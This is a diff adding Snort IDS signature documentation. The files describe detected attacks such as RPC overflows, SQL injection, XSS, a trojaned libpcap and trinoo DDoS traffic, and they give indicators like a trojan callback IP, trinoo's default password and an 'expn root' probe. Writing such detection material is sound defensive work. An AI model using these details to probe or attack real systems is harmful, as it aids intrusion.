+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2325.txt
+++ snort-2.8.5.2/doc/signatures/2325.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2325
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Virtual Programming VP-ASP web application running on a
+server. It may be possible to use SQL injection techniques to supply
+SQL code of an attackers choosing to the database used in the
+application.
+
+--
+Affected Systems:
+	Virtual Programming VP-ASP 4.0
+	Virtual Programming VP-ASP 5.0
+
+--
+Attack Scenarios:
+An attacker can inject SQL code of their choosing to view and manipulate
+data stored in the underlying database used by the application.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000848.txt
+++ snort-2.8.5.2/doc/signatures/100000848.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+100000848
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PhpWebGallery" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "keyword" parameter in the "comments.php" 
+script 
+used by the "PhpWebGallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PhpWebGallery
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Jacob <chris.jacob@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2490.txt
+++ snort-2.8.5.2/doc/signatures/2490.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2490
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with eSignal software. 
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code with
+LOCAL_SYSTEM privilege on a vulnerable host.
+
+--
+Detailed Information:
+eSignal software provides real-time stock market data to client hosts.
+There is a vulnerability associated with eSignal that may cause a buffer overflow,
+permitting the execution of arbitrary code with the context of LOCAL_SYSTEM. 
+The buffer overflow occurs when a larger than expected data payload is supplied
+for certain message exchanges.
+
+--
+Affected Systems:
+eSignal versions 7.5 and 7.6
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed eSignal message that may cause a buffer overflow and 
+allow the subsequent execution of arbitrary code with the context of LOCAL_SYSTEM.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/9978
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1657.txt
+++ snort-2.8.5.2/doc/signatures/1657.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1657
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2264.txt
+++ snort-2.8.5.2/doc/signatures/2264.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2264
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1564.txt
+++ snort-2.8.5.2/doc/signatures/1564.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1564
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2095.txt
+++ snort-2.8.5.2/doc/signatures/2095.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2095
+
+--
+Summary:
+vulnerability in the rpc service for the Calendar Manager Service Daemon
+(CMSD) used by XDR.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdr_array) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request containing a large number of arguments 
+to xdr_array can lead to remote system compromise and super user access 
+to the target host. Additionally, a denial of service and execution of 
+arbitrary code with the privilege of the super user is also possible 
+depending on the platform used.
+
+--
+Affected Systems:
+Multiple verndors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request containing a 
+large number of arguments for xdr_array to the target host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5356
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0391
+
+CERT:
+http://www.cert.org/advisories/CA-2002-25.html
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1929.txt
+++ snort-2.8.5.2/doc/signatures/1929.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1929
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Trojan server installed via compromised tcpdump or libpcap sources.
+
+--
+Impact:
+Control of the victim host.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Some versions of tcpdump and libpcap were compromised and Trojan code 
+inserted into the source. The compromise is similar to that which 
+affected OpenSSH.
+
+Libpcap is a library used for capturing packets in Snort and other 
+packet sniffing tools.
+
+The Trojaned libpcap source contains code in the configure script that 
+connects to a server at 212.146.0.34 on port 1963. The script then 
+downloads source code for a Trojan horse and compiles it.
+
+Tcpdump is a tool that is used for capturing network traffic, it 
+utilizes libpcap. Some versions of tcpdump also contain the same Trojan.
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan is delivered to the target via the configure script.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Delete the Trojan and kill any associated processes.
+
+Restore the system from known good backups.
+
+Download non-trojaned versions of the library and re-compile.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Houston Linux Users Group
+http://www.hlug.org/trojan/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3111.txt
+++ snort-2.8.5.2/doc/signatures/3111.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3111
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1890.txt
+++ snort-2.8.5.2/doc/signatures/1890.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1891
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an
+unvalidated format string error associated the with Remote Procedure
+Call (RPC) statd.
+
+--
+Impact:
+Remote root access. If successful, this exploit allows execution of
+arbitrary commands as root.
+
+--
+Detailed Information:
+The statd RPC services implements a component of the Network File System
+(NFS) known as the Network Status and Monitor protocol.  A vulnerability
+exists due to improper format string checking that allows arbitrary code
+to be executed with the privileges of statd, usually root.
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	RedHat Linux 6.0, 6.1, 6.2
+	RedHat nfs-utils-0.1.6-2.i386.rpm + RedHat Linux 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where statd
+runs and send the exploit to the statd port. If the portmapper port is
+blocked, the attacker may send the exploit to any listening port in the
+range associated with RPC services.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/307.txt
+++ snort-2.8.5.2/doc/signatures/307.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid: 307
+
+--
+Summary:
+This event is generated when an attempt is made to exploit 
+vulnerable versions of the Chocoa IRC client.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code on the client.
+
+--
+Detailed Information:
+It is possible for a malicious attacker to exploit a vulnerability in the Chocoa IRC client by setting an IRC channel topic specially designed to cause a buffer overflow.
+
+Affected Systems:
+	Fujitsu Chocoa 1.0 beta 7r for Windows 9x and NT.
+
+
+--
+Attack Scenarios:
+The attacker would need to set a specially crafted IRC channel topic to cause the overflow.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0672
+
+Bugtraq:
+http://www.securityfocus.com/bid/573
+
+--
--- snort-2.8.5.2.orig/doc/signatures/660.txt
+++ snort-2.8.5.2/doc/signatures/660.txt
@@ -0,0 +1,55 @@
+
+--
+Sid:
+660
+
+--
+Summary:
+This event is generated when an attempt is made to expand the alias of root on a Sendmail server.
+
+--
+Impact:
+Reconnaissance.  This is an attempt to discover email addresses associated with the alias of root for a Sendmail server.
+
+--
+Detailed Information:
+An attacker may probe for email addresses associated with the alias of root on a Sendmail server.  The "expn" command expands the alias into a list of actual recipients associated with the alias.  This command can be used to determine who reads the mail sent to the administrator.  It may be used by spammers to get valid email accounts or may be used to discover valid accounts on the Sendmail server.
+
+--
+Affected Systems:
+Versions of Sendmail that do not disable expn.
+
+--
+Attack Scenarios:
+An attacker can telnet to the Sendmail server and issue the command "expn root" to gather email addresses associated with the alias of root.
+
+--
+Ease of Attack:
+Easy.  Telnet to the Sendmail server and issue the command "expn root". 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Edit the /etc/sendmail.cf file to disable expn by setting PrivacyOptions=noexpn. 
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS31
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/499.txt
+++ snort-2.8.5.2/doc/signatures/499.txt
@@ -0,0 +1,74 @@
+Rule:
+--
+
+Sid:
+499
+
+--
+
+Summary:
+This event is generated when a large ICMP packet is detected. Also known
+as the "Ping of Death".
+
+--
+Impact:
+Denial of Service (DoS) by system crash or bandwidth utilisation.
+
+--
+Detailed Information:
+Some implementations of the IP stack may result in a system crash 
+or may hang when a large ICMP packet is sent to them. Alternatively 
+a large number of these packets may result in link saturation, 
+especially where bandwidth is limited.
+
+This attack was prevalent a number of years ago when the TCP/IP stack of
+a number of operating systems could not handle large packet payloads.
+
+--
+Affected Systems:
+	Multiple older systems.
+
+--
+Attack Scenarios: 
+A malicious individual may send a series of large ICMP packets 
+to a host with the intention of either crashing or hanging the host, 
+or to saturate the available bandwidth.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A number of load balancing applications use 1500 byte ICMP packets to 
+determine the most efficent route to a host by measuring the latency 
+of multiple paths.
+
+HP-UX systems configured with PMTU discovery will send echo requests 
+in response to several types of network connections. PMTU Discovery 
+is enabled in HP-UX 10.30 and 11.0x by default.
+
+Windows 2000 uses large ICMP payloads to determine the speed of a link
+when utilizing a Windows domain controller.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ICMP Traffic - Seth Stein
+http://www.wfu.edu/~steinsj5/work/icmp.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2608.txt
+++ snort-2.8.5.2/doc/signatures/2608.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2608
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "check_ddl_text" procedure contains a programming error
+that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the second variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/234.txt
+++ snort-2.8.5.2/doc/signatures/234.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+234
+
+--
+Summary:
+This event is generated when a trinoo DDoS attacker host communicates with a master host.  
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a trinoo attacker. If the listed destination IP is in your network, it may be a trinoo master.
+
+--
+Detailed Information:
+The trinoo DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. At the highest level, attackers communicate with masters to direct them to launch attacks.  An attacker may communicate with a master via TCP destination port 27665 with a string of "g0rave" in the payload.  This string is the default master startup password.
+
+--
+Affected Systems:
+Any trinoo compromised host.
+
+--
+Attack Scenarios:
+A trinoo attacker will communicate with masters to direct them to launch attacks.
+
+--
+Ease of Attack:
+Simple. trinoo code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0138
+SecurityFocus:
+http://www.securityfocus.com/archive/1/37706
+
+CERT:
+http://www.cert.org/incident_notes/IN-99-07.html#trinoo
+
+--
--- snort-2.8.5.2.orig/doc/signatures/819.txt
+++ snort-2.8.5.2/doc/signatures/819.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+819
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1804.txt
+++ snort-2.8.5.2/doc/signatures/1804.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1804
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1866.txt
+++ snort-2.8.5.2/doc/signatures/1866.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+1866
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer by supplying a very long username to a POP3 service.
+
+--
+Impact:
+Serious. Several POP3 servers are vulnerable to USER buffer overflows.
+
+--
+Detailed Information:
+A very long string data in place of the username can lead to a buffer overflow situation.
+
+A buffer overflow attack can be used to execute arbitrary code (remote shell). A Denial of Service (DoS) is also possible.
+ 
+Check your POP3 service for this vulnerability with common vulnerability scanners.
+
+--
+Affected Systems:
+Ipswich IMail 5.0.5, 5.0.6 and 5.0.7 for Windows NT.
+Other POP3 mail systems may be affected.
+
+--
+Attack Scenarios:
+A attacker may first check the POP3 daemon version and try a buffer overflow attack using a long username string supplied with the USER command.
+
+This may result in full compromise of the host. A Remote shell can be bound to a port after the attack. 
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check for other events generated by the source IP address.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1915.txt
+++ snort-2.8.5.2/doc/signatures/1915.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1915
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a format
+string vulnerability associated with the Remote Procedure Call (RPC)
+rpc.statd.
+
+--
+Impact:
+Remote root access. This may permit execution of arbitrary commands with
+the privileges of root.
+
+--
+Detailed Information:
+The rpc.statd daemon is a component of Network File System (NFS) that
+implements the Network Status and Monitor (NSM) RPC functions.  NSM
+monitors the status of NFS clients and servers and maintains a list of
+hosts that have registered to be notified when an NFS host crashes. 
+There is a format string vulnerability associated with the code that
+implements the monitoring of a given host, possibly permitting the
+execution of arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	Red Hat Linux 6.0, 6.1, 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can attempt to exploit the format string error allowing
+execution of arbitrary commands with the privileges of root.  
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/403.txt
+++ snort-2.8.5.2/doc/signatures/403.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+403
+
+--
+
+Summary:
+This event is generated when An ICMP Precedence Cutoff In Effect datagram is detected on the network.  
+
+--
+
+Impact:
+Routers will generate this message when a minimum precedence level has been configured for the network.  This could be an indication of improperly configured routing equipment or network host.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1487.txt
